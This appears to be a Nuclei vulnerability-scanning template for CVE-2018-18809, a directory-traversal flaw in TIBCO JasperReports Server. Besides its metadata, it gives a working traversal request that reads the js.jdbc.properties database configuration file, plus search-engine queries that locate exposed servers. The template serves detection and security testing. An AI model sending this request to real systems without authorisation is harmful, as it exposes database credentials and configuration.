id: CVE-2018-18809

info:
  name: TIBCO JasperReports Library - Directory Traversal
  author: DhiyaneshDK
  severity: medium
  description: |
    The default server implementation of TIBCO Software Inc.'s TIBCO JasperReports Library, TIBCO JasperReports Library Community Edition, TIBCO JasperReports Library for ActiveMatrix BPM, TIBCO JasperReports Server, TIBCO JasperReports Server Community Edition, TIBCO JasperReports Server for ActiveMatrix BPM, TIBCO Jaspersoft for AWS with Multi-Tenancy, and TIBCO Jaspersoft Reporting and Analytics for AWS contains a directory-traversal vulnerability that may theoretically allow web server users to access contents of the host system.
  impact: |
    An attacker can access sensitive files, potentially leading to unauthorized disclosure of sensitive information.
  remediation: |
    Apply the latest security patches or upgrade to a patched version of TIBCO JasperReports Library.
  reference:
    - https://packetstormsecurity.com/files/154406/Tibco-JasperSoft-Path-Traversal.html
    - https://security.elarlang.eu/cve-2018-18809-path-traversal-in-tibco-jaspersoft.html
    - https://nvd.nist.gov/vuln/detail/CVE-2018-18809
    - http://packetstormsecurity.com/files/154406/Tibco-JasperSoft-Path-Traversal.html
    - http://seclists.org/fulldisclosure/2019/Sep/17
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2018-18809
    cwe-id: CWE-22
    epss-score: 0.79064
    epss-percentile: 0.99558
    cpe: cpe:2.3:a:tibco:jasperreports_library:*:*:*:*:activematrix_bpm:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: tibco
    product: jasperreports_library
    shodan-query:
      - html:"jasperserver-pro"
      - http.html:"jasperserver-pro"
    fofa-query: body="jasperserver-pro"
  tags: cve2018,cve,packetstorm,seclists,lfi,kev,jasperserver,jasperreport,tibco,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/jasperserver-pro/reportresource/reportresource/?resource=net/sf/jasperreports/../../../../js.jdbc.properties"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "metadata.jdbc.driverClassName"
          - "metadata.hibernate.dialect"
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100d739f265e0964697a7384345b637a55139f107dbaeaa2de39209786a387ac08f022100be1866621ec2b41716feda765c4e2039b6a6001ca68f6310d8c2766ff2aa4084:922c64590222798bb761d5b6d8e72950